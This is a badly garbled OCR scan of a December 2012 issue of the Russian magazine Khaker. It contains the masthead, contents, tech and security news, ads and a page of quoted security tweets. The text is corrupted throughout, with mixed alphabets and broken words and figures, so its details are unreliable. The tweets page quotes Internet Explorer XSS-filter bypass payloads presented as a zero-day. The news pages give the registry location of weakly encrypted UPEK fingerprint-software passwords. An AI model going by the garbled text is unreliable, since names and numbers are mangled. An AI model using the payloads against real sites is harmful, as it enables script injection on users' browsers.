Issuu on Google+

[gаmЫlапd

PUBL SH NG ЕОR

ENTHUSlASTS


ASUS рекомендует Windows

8.

л/ЕtlдD Еa

l-@

intel,

в пOискАх нЕвЕрOятнOг0

для тЕх, кOг0 вдOхнOвляют дOстижЕнlАя ASUS zENBOOKTM

_ нЕвЕрOятньlй

ULTRABOOKTM.

вдOхнOвлЕн INTEL.

Тонкий и легкий. Элегантньtй и мощньlй. Ультрабук ZENBOOKTM с процессорOм lntel@ СоrеТМ i7 и Windows В не только следует за вами, но и ведет вас вперед. 0ткройте HOBble гOризOнтьl на www.печеrоуаtпое.ru. Всемирная гарантия 2 года Горячая линия ASUS: (а95) 23-11-999, 8-800-100-2787

WWW.aSuS.ru

www.аsusпЬ.ru

ASUS Zero Bright Dot,30-дневная дOполнительная гарантия 0тсутствия на экране неисправньlх ярких точек. Подробнее на www.asusnb.rulzbd Эксклюзивная сервисная программа ASUS Pick uр & Rеturп для ноутбуков UX2l/UX31. Подробности на www,asusnb.rulPUR

.


=Еl+ЕF

рЕмкция

Главный редактор 3аместитель

СТеПан

Ильин [stеогdгеа,,

"step"

ха

rлавного редактора

п0техническимвопросаll

"eo.1

u)

Андрей<Дпdгushосk"МатвеевlапdrushосkГdгеаl,хаkеп,гul

tЛеф-редактор

Илья Илембитов {ilembitov0rea].xakep,ru)

Выпускающийредактор

ИльяКурченкоlkuгсhепkоЕrеаl,хаkео,ru)

Редакторы рубрик PCZONE и UNlTS

Илья Илембитов liIemb tочl?геаl,хаkер.ru)

X_MOBlLE

Андрей (Апdrushосk" Матвеев lапdгushосkl?геаl.хаkео.гu)

взлOм

Юрий Гольцев |gоltsечGгеа,хаkер,rч]

UNlXOlD

и

MALWARE

SYN/ACK

Андрей

КOflИНГ

и

"Andrushock>

Матвеев lапdrushосkI?геаl.хаkер.гu}

Кlоuп jzn

Александр

"Dг. Евгения Шарипова

Литераryрный редактор РR-менеджер

Анна Григорьева [gгigогiечаGglс.rul

DvD Выпускаtоtций

Антон <ant> Жуков (апtГdгеаl.хаkео,гu]

рерктор

Uпlх-раздел

Андрей <Апdгчshосk> Матвеев (апdrushосkOгеаl,хаkер.ru)

Sесчritу-раэдел

flмитрий

1.1онтажвидео

Максим Трубицын

<D1

91

>

Евдокимов [evdokimovdsOomail,com]

АRт Арт-директор

Алик Вайнер lalikOg]c,ru]

Ди!айнер

Егор Пономарев

Верстальцхк

Вера Светлых

Бхльд-редактор Иллюсрация

на

Елена Беднова

обложке

Сергей Снурник

PUBLlsHlllG Издатель 000

"Гейr,r

Лэнд>,

1

1

Тел.: l495]934-70-34,

91 /+6, г.

Москва, Фрунэенская

1

-я ул,, д. 5

факс: [495) 545-09-06

Главныйдпзайнер

ЭндиТернбулл

РАзl.{ ЕlцЕни Е РЕклА]t{ ы 000 (Реклаlt{ное аrентство <<Пресс-Релизrr Тел.: l495l 935-70-З4, факс: (495) 545-09-06

E-mail: аdчегtGglс,гu

ДИСТРИБУЦИЯ [иректорподппрlбуции

ТатьянаКошелева(kоshеlечаGglс,гu)

пOдпискА Руководитель

ПOДАРКИ ДЛЯ ГИКА

подпIски

спецраспространения

Претензlи

lt

-

-

Степен (Step), ИльIн, rлавред Х

twitter.Gom/stepah

И ри на

flолганова

{d ol

ga n ova Гdg lc. гu l

Нина fl митрюк |dmitryu

k{do lc,

гul

дополнительная инфорнация

В случае возникновения

Удивить и по-настоящему порадовать ИТ-шника не-задача тривиальная, сложная и подчас очень неблагодарная. 0н привык к прагматичным пOдхOдам, и его не впечатлит какая-тотам сувенирная безделушка. Oднако и с полезным подарком, скорее всего, выЙдет промах-если тот не будет отличаться оригинальностью, нестандартностью или, как мы сейчас говорим, <<гиковостью>. Втожесамое время очевидная сточкизрения обычного человека фиговина может вызватьдичайший восторг и умиление, если ее, к примеру, можно хитро запрограммировать. Воттакой парадокс. Та к что же пода рить гику? Или бол ьше того чем порадовать себя на НовыЙ год? Мы не стали изобретать какоЙ-то универсальныЙ рецепт, а просто представили, что бы сами кактипичные ги ки был и рады увидеть под ел коЙ. В резул ьтате получ ился гид по необычным подаркам гаджето-гикового плана; на разный бюджети BKyct носодним важным критерием-любой из подарков реально купить и доставить в Россию. И кое-что мы заказали в редакцию, чтобы порадовать себя :J.

-

отдела

1,1eHepKep

вопросов по качеству печати

и

DVD-дисков: q]аhl@gk tц.

Горячая линия по подписке 0нлайн-магазин

Факсдя

подписки: http;//shop.glc.гu

отправки купонов

и

квитанций на новые подписки: (495) 5/,5-09-06

Телефон отдела подписки для жителей Москвы: l495] 663-82-77 Телефон

фя

дя

писем:

жителей регионов 1

Учредитель:000 Зарегистрировано и

и

для звонков с мобильныхтелефонов:8-800-200-З-999

Москва, Главпочтам1

01 000,

"Врублевский Медиа>, 1 25367, r Москва, Врачебный проезд, в

Министерстве

Российской

средст8ам массовых коммуникаций

0тпечатано

в

а/я 652, Хакер

ПИ

Nc

предоставляются в противозаконных

ФС77-50451 от04 июля 201

2

с

0,

офис

1

rода.

мнением авторов. Все материалы

как информация к размы шлению, Лица, использующие целях, могр быть привлечены

ственности за содержание рекламных объявлений

к в

ответственности,

в

номере

данную информацию

Редакция не несет ответ-

номере. 3а перепечатку наших материалов

-преследуем.

По вопросам лицензирования

журнала обращайтесь

о 000

1

типографии SсапwеЬ, Финляндия. Тираж 204 800 экземпляров.

Мнение редакции не обязательно совпадает

без спроса

д.

Федерации поделам печати,телерадиовещанию

и

получения прав на использование

по адресу: сопtепtГdglс.гu,

пГейм Лэнд", РФ,

20

1

2

редакционных

материалов


последней версии Firefox появилась многофункциональная консоль. Теперь у разработчика есть возмOжность моментал ьно выполнять рутинные 0перации, В

HEADER MEGANEWs

018

Все новое за последний месяц

hасkег tweets Хак-сцена в твиттере

019

чЕ].{

колонка Стёпы Ильина Про мониторингсервера Ргооf-оf-сопсе pt Рисуем фальшивыйбраузер:фишингчерез

HTML5 Fu sсгеепАРl

пOрАдOвАть гикА?

Удивительно, но не для каждого из нас лучший подарокэто лазерньlЙ меч или набор LEG0, хотя и это тоже бьtвает приятно. Щля всех остальньlх случаев Mbl соста вили список самых полезньlх,

удобньlх или забавных гаджетов в

и

аксессуаров, KOTopble увидели свет

этом году. Надеемся, что каждьlЙ наЙдетздесь

что-то себе по нраву.


PczONE 0зб

кOдинг

sсrеепкастинг Тестируем софтдля записи скринкастов 11.1

в

Windows и Linux

][-проект: Стеганограф. 3аверщение Разрабатываем средства для сохранения и извлечения спрятанныхданных Задачи на собеседованиях Подборка интересных заданий, которые дают на собеседованиях Готовиtt приложение для Android Шесть полезных рецептов программерам

1

Что представляет собой операционная система

Каsрегskу Lab? Недостающее звено от

Подбираем идеальный пакетный менеджердля Мас 0SX

Недетский Drчраl Настраиваем Dгчраl для себя, посетителей сайта

и

под

поискOвые машины

I

X-},l0BILE

050

Андердоги flетальный обзор MeGoo, Tizen, webOS и Fiгеfох 0S Начало больtлого пути 0снащаем Апdгоid всем необходимым для удобной и продуктивной работы

взло},|

07t,

Easy Hack Хакерские секреты простых вещей 06зор эксплойтов Анализ свеженькихуязвимостей Банкоtlат: история болезни Краткий курс препарации Automated Теllег Machine Роботдля Веб 2.0 Автоматизированный аудит ве6-приложений Колонка Алексея Синцова

1,1астериlt свой фреймворк на Рнр

I 110

084

I 116

f

7

I 086

утилит для исследователей безопасности

АкАдЕi,lия Школа Highload.YpoK мониторинг

UNlxolD Больщие гонки 0бзор и сравнение производительности современных компиляторOв Искусство сопряжения Пробрасываем железо по сети

sYN/AcK

1з2

Хитросплетение связей

Fiгеwа lls Wi

п d

ows Se

гч

еr 2012:

н о в ы

Active Diгесtогу

I

е воз

м

ожн ости служб до

м е н о

FERRUM Я всегда с собой беру Тестирование беспроводной точки доступа TRENDnet

,l37 138

I

TEW_655B RзG

GlGABYTE GA-zl7x-UP7 Fог очегсlосkегs. Ву очеrсlосkегs Игровой тандем! Тест игрового комплекта от Logitech

юниты

140

FАQ

t43

,Щиско 8,5 Гб

Вопросы

090

Nt 6

Сторожевой 7-го уровня Знакомимся с возможностями популярных Web Application

irALUVARE i,lалварь для пром ыщлен ной автоt,tатики Исследуем возможности программируемых логических кOнтрOллерOв стOчки зрения вредOнOснOг0 кOдинга flетектив для безопасника Про малварь, которая сама собой не появляется

начинаем

12ь

Автоматизируем поискуязвимостей, вызванных некорректным использованием функций alloc/f гее с lDAPython

X-Tools

и

,Щеплой и

Новыетрюки для Неар Sргау

Наказуемая беспечность

Разбираемся с паттерном проектирования MVC раз ра б отку

и

ответы

всякой всячины WWW2 УдобныеwеЬ-сервисы

в


MEGANEWS

вышлА

14-я

вЕрсия дистриБутивА

sLAcKwARE,

о чем с гордостью сообщил Патрик Фолькердинг-основатель

и

i

главный разработчик проекта.

ви руснАя

рАссьlл кА в SKYPE пользовАтЕли wlNDоws-вЕрсии SKYPE под угрозоЙ популярного Vol Р-сервиса довольно давно не было п роблем малварью 1во всяком случае серьезныхl, и это не могло длиться вечно. Первыми нечто странное заметили специOказалось, в России и СНГ алисты компании "ВирусБлокАдаr. обнаружился социальный троян, который распространяется через Skype и социальные сети ("ВКонтакте>, FасеЬооk, Twitter). Малварь заражает пользовательские машины червем Wогm. NgгВоt (он же DогkЬоtl, притом (нехорошую>> ссылку пользователи получают от имени своих авторизованных контактов. Схема работы зловреда в целомдовольно обычна-жертва получаетотодного из своих контактов в Skype ссылку, сопровождаемую текстом: <Это новый аватартвоего профиля?о. При переходе по линкузагружается ZlР-архив с вредоносным исполняемым файлом с расширением ехе (внутри кроется тот самый Wогm. NgгВоt). пВирусБлокАда, отмечает, что после этого компьютер жертвы включается в ботнет ворует пароли и участвует в DDoS-aTaKax. ТакжеWогm.NgгВоt от файлообменников Letitbit, Sms4f ile, Vip-f ile, от почтовых ящиков, различных сервисов, соцсетей [YouTube, Gmail, Facebookl и блокируетдоступ компьютера к сайтам антивирусных компаний. Увы, данных о распространении червя и статистики заражений пока нет, хотя Касперского) и <!октор Веб"уже под"Лаборатория твердили угрозу и призывают вовремя обновлять вирусные базы. с

Е 3аtцититься, кстати, 1,10жн0 и

прOст0

отключив функцию

упра вления 5kype

проrра}l[в меню расширенных настрOек Skype оч истить пункт < Контроль до-

други1.{и

мами

ступ

а п р0 гра

1.1

l.{

н 0

г0

интерфейса>l.

f

ВOЗ].l0ЖНOСТЬ

рЕгиOнАльнOг0 БлOкирOвАния кOнтЕнтА, 0граничив герl.rанцев в доступе к аккаунту одной неонацистскOй группы.

004

СТРАШНOВАТАЯ ПРЕЗЕНТАЦИЯ

С

ежегодной конфер��нции Вгеаkроiпt с докладом выступил исследователь Барнаби !жек, рассказав отом, что он наЕ училсядистанциOнн0 взламывать,.. кардиOстимулятOры. Барнаби обнаружил, что кардиостимуляторы сразу нескольких производителей имеют опасную дырку в П0 их можно заставить ударить (носителя) током напряжением 8З0 В, что почти наверняка приведет к летальному исходу. !ля этого достаточно подать команду с ноутбука, находящегося на расстоянии до ] 5 м отжертвы. Так как современные имплантаты управляются дистанционно, исследовательузнал команду, по которой приборы выдаютсвой серийный номер и номер модели. Затем Барнаби заменил П0 передатчика для перепрOграммирOвания кардиOстимулятOрOв и выяснил, чт0 имплантаты сOдержаттакже личныеданные пациента, и даже нашел возможностьдоступа к серверам производителеЙ! Если загрузить на серверы обновлений вредоносную (прошивку), это приведет к массовомузаражению приборов, поясняет Барнаби. 0н уже предупредил производителей приборов обуязвимости и се й ч ас раз рабаты вает п ро гра м му Еlесtгiс Fее l, которая п оз вол ит на й ти устро й ства п обл изости и дать кома нду на откл юче н ие ил и разряд.

-

к

в

сOрЕвнOвАнии TOPcODER кАтЕгOРии ((Алг0Рит1.1ы), в эт0].1 гOдУ 0дер-

BANDROlD пOявится

к0}.{АндАтнЕ PlRATE BAY

OPEt{ в

ВСТРOЕННАЯ ФУНКЦИЯ АНТИВИРУСА, сообщает блог

0тчитАлАсь

жал победу россиянин Еrор Кули ков сотрудник питер-

Апdrоid Police. Проверяться

ского офиса (Яндексаrr.

ВRЕАКРOlNТ

а

i\

TWlTTER ВПЕРВЫЕ ПУСТИЛА В ХOД

взл 0 м, кото рьlЙ мOжЕт стOитьжизни

будут как уже установленные, так и все загружаемые прилOжения.

в

0оициАль_

БлOгЕ 0 T01,1, что трекер полностью отказался от физических серверOв в пOльзу H01.1

нескол ьких облач хOстерOв.

н

ых

ФБрзАпрOсил0 у кOрп0РАЦИИ GOOGLE контактные данные стороннихАпdrоidразработчиков, и Google без вопросов предоставила списки. Неприятный прецедент.

хлкЕр

12

/1b7l 2012


ltц*1Ё*

j{Ё

re.rl aru

iru

Наtли самые экологичные и (aMbre экономичные принтеры.

Наши новые высокопроизводительные принтеры серии FS-4300DN, созданные на базе технологии ECOSYS, позволяют добиться исключительной экономии и чрезвычаино низкого воздеиствия на окружающую среду. Благодаря нашим долговечным технологиям, мы можем гарантировать, что ресурса барабана хватит на почти

невероятные полмилл иона страниц.

Этоозначае1 что втечен иесрока службы устройства еди нствен н ым расходн ым материалом буде1 ка к п ра вило, тол ько тонер, чтосокра щаетзатраты иумен ьшает кол ичествоотходов. Крометого,этал и ней ка и меетсамые низкие показател и энергопотребленияП в своем классе. Среди характеристик можно также упомянуть скорость печати до бО страниц в минуту, более совершенные показатели безопасности и гибкие возможности обработки документов. В целом, это линейка мощных, экономичных и экологичных принтеров повысит эффективность работы любого предприятия. ' Типичное потребление энергии

КYОСЕRА Document Solutions Russia - Phone: +7 (495) 741 0004 - www.kyoceradocumentsolutions.ru KYOCERA Document Solutions lnc. - www.kyoceradocumentsolutions.com

ЕсБА

l(чt]EERa Document solutions


М

EGAN

EWS

количЕствоАктивных

сии

FlREFOX 16-Й вЕр и Ег0 кOнсOл ь почЕ1,1у

пользовАтЕлЕй FАсЕвоокпЕрЕвАлилозАl.{иллиАрfl,

Е п

гики люБят FlREFox? из-зАтАких вот нововвЕдЕниЙ

была

в ы

нужде на сн ять

е

го с офи циал ьн ого са йта,

выявив критическую уязвимость. Тууязвимость быстро прикрыли, а вдистрибутиве обнаружилось немало интересного. Мы остановимся подробнее на командной строке. Командная строка в Fiгеfох вызывается нажатием комбинации клавиш <Shift + F2> [можно также выбрать <DечеlорегТооlЬаг> в меню <Web Dечеlорегu) и обладает системой дополнения команд и их параметров, подробными подсказками и такдалее. Консоль создана так, чтобы пользователь-хотя правильнее, пожалуй, сказать разработчик :J мог печатать максимально быстро. !ля ускорения процесса она будетзавершатьза него команды и параметры. Крометого, это хOрOшая ал ьтернатива шOрткатам. Приведу пример: скажем, тебе нужно открыть командную строку в Fiгеfох, но шорткатты забыл. Конечно, можнодотянуться д0 мышки и открыть кома ндную строку че рез м ен ю, н о есть и другой путь: на брать *console ореп> и кOнсоль откроется. Фактически достаточно набрать <соп<tаЬ>о<tаЬ><епtег>), что будетдаже быстрее. Пом и мо этого, в DечеlорегТооls присутствуют команды dbg и Ьгеаk, edit, inspect, геsizе и tilt. Словом, все самое необходимое. Теперь к возможностям самой консоли.,Щопустим, тебе нужно проверить, как заголовки mоzillа,огg будут выглядеть на небольшом экране телефона. 0ткрываем сайт и набираем, к примеру, <inspect "#home-news hЗ">, на открывшейся панели стилей видим, что размер шрифта для данного заголовка равен 28рх. Какэтобудетвыглядеть в разрешении З20 х480? Н а б и ра е м ко ма нду *rеsizе to З20 480 >, за пус ка ется Responsive Desig п View. Смотрим на результат и видим, что размер шрифта заголовка уменьшился до 24рх, согласно (заданным пожеланиям). Но это отнюдь не все фишки консоли Fiгеfох. Так, набрав команду сооkiе,ты поймешь, почемуэта командная строка называется (графической>. Запросив *cookie list on mоzillа.огg", увидишь все куки, которые на данный момент имеются для этого сайта. Можно удалить их, набрав <cookie геmоче WТ_FРС) или просто кликнув по кнопке <Remove>. А набрав на mоzillа.ог9 <sсгеепshоt heading.png 0 f alse h1 ты сохранишьтолько файл heading.png, ожидая 0 секунд после ", кOманды, не включая в шOт никаких 0кружающих элементOв и 0кн0 браузера, тол ько элемент, выбранн ы й в h] Результат сохра н ит" ". ся в директорию.Dоwпlоаds". Консоль предоставляет подсказки для каждOг0 параметра, расширенную версию кOтOрых мOжн0 п0читатьпотрадиционномуF1. Ещеодна полезная команда-ра9еmоd. С ее помощью можно быстро изменить что-либо на странице. Можно посмотреть, как страница выглядит без классов, набрав upagemod геmоче аttгiЬutе class *>, или выбрать, какой заголовок смотрится лучше, герlасе "Out of Date News" "The New Hotness">. -(pagemod Конечно, этодалеко не все, естьещеаddоп, ргеf, ехрогt html и куча других полезностей. Но все-таки рекомендуем лучше один раз уви-

-

деть и пOщупать самOстOятельн0,

0кOл Ен

иЕ

},lаркL{укербергна своей странице.

NЕ 2

зАБАв

н

ых TPAHcoOPl.i

Е

рOв

омпания ASUS представила новую модель в линейке гибридных Pad Fопе 2. 0 первом Pad Fопе м ы рассказы вали устройств в начале лета, но на вся кий случа й напом н и м это своего рода

-

ыход новой стабильной версии Fiгеfох и М ozi l lа

чемличносообщил

ASUS PAD F0 втOр0

1 б ознаменовался нетолько тем, что дистрибутив оказался (бракованнымu

о

-

матрешка. РаdFопе сочетает в себе сразутри устройства планшетный компьютер, нетбук и смартфон подуправлением Апdгоid. Смартфон может к

п

'l ревра щаться в 0,1 -дюй мовы й пла

клавиаryрной

Pad Fопе 2 вовсе

н

док-станции PadFone Station

-

шет, а после подкл ючен ия

Кстати, - ь втепнетбук. ерь исчезнет

выход

первая модел

из п родажи, ASUS планирует, что устройства дополнятдругдруга на рынке. Нового в PadFone 2 много. В режиме смартфона и планшета РаdFопе 2 функционирует на базеАпdгоid 4.0 lCS, четырехъядерного процессора Quаlсоmm Sпарdгаgоп 54 с частотой 1,5 ГГц и 2 Гб системной памяти; н

е оз начает, что

за графику отвечает подсистема Аdгепо З20. Смартфон теперь оснащен новым 4,7-дюймовым экраном Sчрег lPS+ с разрешением 'l 280 х 720

пикселей, который снабжен устойчивым к царапинам защитным стеклом Согпiпg Fit. Немало времени на презентации уделили и '] З-мегапиксельной камере, которая способна делать снимки со скоростью 6 кадров в секунду и записывать видео в форматах 1 080р/ЗOfрs или 720pl6Ofps. Аккумулятор аппарата имеетемкость 2140 мА. ч. В целом девайс стал чльтоньше, но гораздо шире и выше. Также теперь, когда смартфон вставляется в планшет, телефон 0н держится в специальнOм 0стается пOлнOстью виден 0кружающим углублении за счет салазок и механизма сцепки, больше нет никакой крышки. Это выглядитстильно-и нет, смартфон не выпадет, если планшет перевернуть вверх ногами :). Сама док-станция значительно (похудела), приобрела обтекаемые формы и теперь состоит из lPSэкрана диагональю ] 0,] дюйма с разрешением 1 280 х 800 [1а9 ppi) и аккумуляторной батареи емкостью в 5000 мА. ч. Кстати, емкость аккумулятора док-станции первого PadFone составляет 6600 мА. ч. у новинки есть и не очень приятная сторона: теперьдело вается тол ько пла н шетной док-ста н цией кла в иатура,

0днако

о

гра

н

ич

и

-

также электронная ручка, выступающая в роли Вlчеtооth-гарнитуры, на презентации ASUS отсутствовали [хотя ручка, вероятно, и заработает с РаdFопе 2l. По сути, пользователям на выбор предоставляются два разных <набора>), а уж отдать предпочтение более мощному планшету

а

или вообще нетбуку с клавиатурой

-

решать самому юзеру.

чем ст0 раз прOчитать.

сOглАсн0 исслЕдOвАнию к0l.iпАнии SOPHOS

СРЕДН ЕЕ ((ВРЕlulЯ ЖИЭН И>} 0-DАY-ЭКСПЛOИТ9В, до оГлАсц},| и пАтчЕЙ, сOстАвляЕт 312днЕЙ [0т 19 днЕй д0 30 рlЕсяцЕвl хдкЕр

1211671 2012


о

апr, www.iru.ru

Встречайте

- Windows

В

iRtJ рексtyендует Windows В

J О ВЛаДеЛЬЦем тоВарНого знака Microsoft и логотипа Windows

В,

G@ Wi_Fi

зарегистрированных

Haml ,."9","

l.

цJ' MULTIMED|A

@

ш

WEB-сAMERA

на территори и СШД и/или других стран, и владельцем авторских прав на его дизайн является корпорация Microsoft.


}'l

EGA N EWS

мЕждунАроднАя 0лиltпиАдАпо инФор}.!АтикЕ

2016

годАсOстOится

в

рOссии, встроящемся наукограде иннополис

в

пригороде казани.

скАн Ер 0тп ЕчАткOв н Е зАlдитА, н0 БрЕLIlь

п рOБл ЕмА с U ЕFl п рА|<тич Ески ?ElJ

0БНАРУЖЕнА

линуксOиды нАlлли выхOд

н

ЕOБыч нАя УязВи l.iOCTb

ЕнА

начале гOда в стане линуксоидOв пOднялась нешуточная паника, связанная с UЕFl. Тогда стало

известно, ��то для сертификации оборудования совместимость с Windows 8 Micгosoft требует обязательной активации по умолчанию режима безопасной загрузки, блокирующего загрузку систем, не имеющих заверенной цифровой подписи. Все это грозило большими проблемами Liпuх-сообществу, но, похоже, выход все-таки нашелся. Linux Foundation объявила о планах предоставления на

всем дистрибутивам универсального решения, которое упростит обеспечение поддержки работы на системах с активным по умолчанию режимом безопасной загрузки. Lin ux Fou ndation подготовит п ромежуточ ны й за грузчи к, который будетзаверен ключом от компании Мiсгоsоft. Код

загрузчика разместят в Git-репозитории на kегпеl,огg, а позже и на сайте Liпuх Foundation. Заверенный первичн ы

разу в нескольких версиях П0 UPEK Ргоtесtог Suite для считывания 0тпечаткOв пальцев и автOризации по ним на машине обнаружена уязвимость. Эти п рOграм м нO-а п паратн ые системы пOставля ются в кOмплекте с предустановленным П0 на устройствах Асег, ASUS, Dell, Lenovo, MSl, NEC, Samsung, Sony, Toshiba и других водителе й. Началось все в августе, когда специалисты Elcomsoft сообщили, что научились извлекать и расшифровывать пароли из реестра Windows, если юзер пользуется сканером п

ро из

РЕК. !ело в том, что U РЕК Ргоtесtог Su ite пом ещает па рол ь юзера в реестр Windows практически в открытом виде. 0 том, что хра н ить па рол и та ки м образо м не сто ит, из вестно да в но, Windows делает так, лишь если пол ьзователь активирует U

ý;s

й

]l

Хакеры уже вылOжили свOю РоС-програ

tt

tty дл я

извлечения паролей на GitHub (tinyurl. сqц/сдhо9lбl и грозятся написать l,|0, дул ь для l,,l eta sрl oit.

й за грузч и к

будет за пус кать фа йл loade г.еfi, в кото ро м

разработчики дистрибутива смогут поставлять любой штатный загрузчик, например GRUB2. Вторичный загрузчик может быть использован, даже если для него не созданы соответствующие цифровые подписи. После того как lоаdеr. ef i получ ит упра вление, дистрибути в п родолжит загрузку в обычном режиме. Словом, разработчикам стороннихдистрибов достаточно получить заверенный загрузчик от Linux Foundation и разместить его на отдельном разделе вместе с собственным загрузчиком [возможно также использование на установочных CD/DVD и LiveCD).

автоt'.4атический вход в Windows без ввода пароля. Так и получилось в случае с UPEK. Так как Elcomsoft не сообщила подробностей, (копать> пришлось уже други м исследователя м. Американцы Адам Коудилл и Брэндон Уилсон нашли, где конкретно хранятся пароли и как они зашифрованы. Пароли лежат в HKEY_ LOCAL_MAC

Н

lN E\S0 FТWАRЕWiгtuа

Passpoгt\ExData

]

То ke

п\Раssрогt\4.0\

руются М D5.,Щля это го и спол ьзуется 256-битный ключ, из-за экспортных ограничений часть хеша заменена нулями, то есть на самом деле ключ 56-6итный. и хеш

и

п 1,{нOгOстРАдАльнУю криптOвАлюту вlтсOlN 0тнынЕ БудЕт прOдвигАть,

зАlциlцАть

и

стАндАрти-

зирOвАть 0ргАнизАция BlTCOlN FOUNDAT|ON, основанная ведущиl,t разработчиKol.r Bitcoin- кл иента Гэвиноl,,l Андерсоном, по образу и подобию Linux Fочпdаtiоп. Активисты предлагают частн ы ]t1 л ица lt и кOмпа н ияtl

r. .\ .'' *ý \' \

ПOПOЛНИТЬИХРЯДЫ,OДНаК0

небесплатно,азанебольtшую сумttубиткоинами:l.

0снOвАтЕль AMAZOil ркЕФФ БЕЗOС ПOДТВЕРДИЛ

-

ко1,1-

нА Clt{EHY

ЖЕ

пРиВычн01,1У

для тЕлЕвизOрOв и ll0ни-

пания действительно продает планшеты и ридеры Kindle по

ТOРOВ FULL HD РАЗРЕШЕНИЮ

себесто

раза превыlлающее нынешний ],lакси1.1ум-не менее 38/,0 х 2160.

нас,

и l,t

ости. Amazon

%чsеrпаmе%!

л ю б

ит

скоро придет Ultra HD,

в

четыре

хлкЕр 12l1b7l2012


MEGANEWS

АррtЕзАпАтЕнтовАлА (дЕкорАтивноЕ оФOрнлЕниЕ пOРтАтивнOгOустРOЙствА

сflИСПЛЕЕН>,

проще говоря-дизайн iPad.

ANDROlD 4.2 И

(ГУГЛOГАДЖЕТЬl>

прЕдст^влЕны новыЕ 1{Exus и

оБновлЕнныйдшопоlо

l|l ЦI

:

x;;ff T ; н ;;l;Hxxxl,J#: :i :;;

лндроид. лак и планировалось, Google представила новую версию своей мобильной 4.2 (кодовое операционной системы -Апdгоid имя по-прежнему Jelly Веап). Нововведений оказалось немало, вот наиболее интересные из них.

Наконец-то

у

Апdгоid появился много-

пользовательский режим {правда, только для планшетов], то есть проблема совместного

использования устройств решена. Теперь для каждой учетной записи существует свой набор приложений [одно и то же П0 могут устанOвить сразу нескOльк0 челOвек, ведь все данные хранятся отдельно). Также под каждого пользователя настраиваются рабочий стол, обои, виджеты итакдалее. Есть поддержка быстрого переключения междуучетными записями, переключаться мOжн0 прям0 с экрана блокировки. Еще одно приятное новшество- клавиатуввода, работара с поддержкой.жестового> ющего по образу и подобию Swype. Пользователю дOстатOчн0 прOст0 скOльзить пальцем по буквам, отрывая палецотэкрана после каждого слова. Есть и функция предугадывания слOв, предлагаюlлая варианты ввOда. Тем, кто любит фотографировать, понравится новая функция Photo Sрhеге, предназначенная для создания 3D-панорам в духе Google StгееtViеw. Созданные панорамы можно просматривать на смартфоне, передавать в Google Plus или даже загружать непосредственно в Google Maps! Кстати, сам интерфейс камеры тOже пOдвергся изменениям: в частнOсти, д0бавлены новые фильтры [привет, lпstаgгаm). Также стоитупомянуть о протоколе Мiгасаst, благодаря которому можно транслировать потоковое видео прямо на телевизор. Правда, для этого понадобится специальный адаптер, подключающийся к порту HDMl на телевизоре. Его стоимость составляет около 1 00 долларов, но компания LG заявила, что в будущих НDТV новый протокол будет работать без дополни-

тельныхустройств.

Е

i,,,;;Ч

новшеств вАпdrоid Кпримеру,6лагодаря улуччlенной функ4.2 немало.

ции Google NowHa

вокзалеты узнаешь, какиепоезда отбываюти прибывают вближайчlее время, в гOрOдеувlдиlль фотографии популярных нест, адреса ресторанов И

МНOrОе, ]i{НOГОе

другOе.

Уже анонсированы и первые устройства, работающие подуправлением обновленной 0С. Это два (гуглогаджета>-смартфон Nexus 4 от компании LG и планшет Nexus 10, созданный в партнерстве с Samsung. Смартфон построен на четырехъядерном 1,5-ГГц процессоре Qualcomm Sпарdгаgоп 54 Рго с графикой Аdгепо З20 и оснащен 4,7" дисплеем Тгuе HD lPS Plus (1280 х 768).06ъем 0ЗУравен 2 Г6, флеш-памяти 8 или 16 Гб, нови н ка также несет на борту ч ип NFC. Поддержки LTE нет, только Bluetooth и Wi-Fi. Емкость аккумулятора 2100 мА. ч [чуть больше 15 часов в режиме разговора и до 300 часов в режиме

ожидания). Есть возможность беспроводной зарядки. l-]eHa у Nexus 4 весьма приятная -299 $ за модель 8 Гб и З49 $-за модель ]6 Гб. Планшет, в свою очередь, интересен экра-

ном'l0,]"типа РLSсогромным разрешением

2560 х 1600 ['l6:10l| Плотностьточек при этом достигает300 dpi. Новинка работает на мощном двухъядерном процессоре с архитектурой

Согtех-Аl5 с четырехъядерной графикой Mali

Т604. Здесьтакже отсутствует поддержка LTE [версия с LTE ожидается позже], но зато ecTbWiFi и целыхдва чипа NFC-Ha лицевой итыльной сторонах корпуса. Стоимость модели Nехчs 10 с ]6 Гбсоставляет400, а сЗ2 Гб-500долларов.

х^кЕРскАя гРУппАтнRЕЕ !,|USKETEERS долOt АлА РSз

новьlЙ дх<ЕЙлБрЕЙк р53 пкЕ н Е исп РАВитЬ пАтЧ Е},|з XAKEPЬI до БрАл_и сь д0 кри пт0 грАФи ч Еских к|,ючЕй урOвня Lvo lLEvEL ZER0I 12

l1b7l 2012


нНфнжi;Ёffiiх, А вообще-то не, не нравится...

компрометаций, не требующих алентификации, не для маркетинга,

lil l

Коннентарlй: -,у, ryт можно поспорить с точностью

определения, но это факт: все чаще различные секурити-кOмпании преувеличивают

|'ilX5SYector

SEHOP включен в lE9 по умолчанию. А все существующие техники обхода бесполезны (они

<sсгi рt/%00%00ч%00%00>аlегt(/G jасkmаsа/l</sсгiрЬ и %с0

для HeASLR или HeDEPl.

0бход фильтра XSS в lE, 0-дэй:

//(%000000%0dаlегt[1 )// #lE #0day insig ht- la bs.o гgl?р=499

А меня никогда не было в ленте, вот

пdlitchfield *Критичны йu должно использOваться тOльк0 для удаленных

[dagintsov

вам, А вы знали, что SEHOP включается

. .-

в реестре для всей 0С, но для lE9 эта замечательная техника включена по умолчанию?

,Щумаю, это единственный браузер с работающим по умолчанию SEHOP. Как бы ни руга-

ли lE, но получается, что проэксплойтить SEH без угечки адресов ntdll или стека

Забавный способ фишинга с возможностями HTML5.

важность своих <открытий>. |'d_frego_ #pwnium #pinkiepie SVG useаftег-fгее и абуз lPC на запись файла? Мило :-} Это более реа-

filjоеrпсhеп Ладно, теперь любой РоС-файл я буду называть CYBERWAR. Тогда это будет выглядеть так:

./CYBERWAR -t

::]

<Использование HTML5 и полноэкранного APl для фишингатак> bit.lylQPBz]s < 0х ты ж

Ежик! Выглядит хорошо!

-

нереал ьн0,

Гiljеrеmiаhg

листично, чем цепочка из 200 багов, как это

было в прошлый раз.

olUTFuzz Нашел хороший способ избавиться от <необходимости> в Неар Sргау для практически всех уязвимостей UAF в lE8. #N оМоrеНеарSргауs

Гalshrrs

Сергей Глазунов не единственный (тинеиджер-хакер), в этOм гOду кOнкурс

,.

Býprizel

Наверно, надо перестать про-

выиграл Pinkie Pie. заюзав всего две баги.

а -!с,

SНА-З анонсирован! Keccak выиграл. www.nisr.gov/ii]/csd1

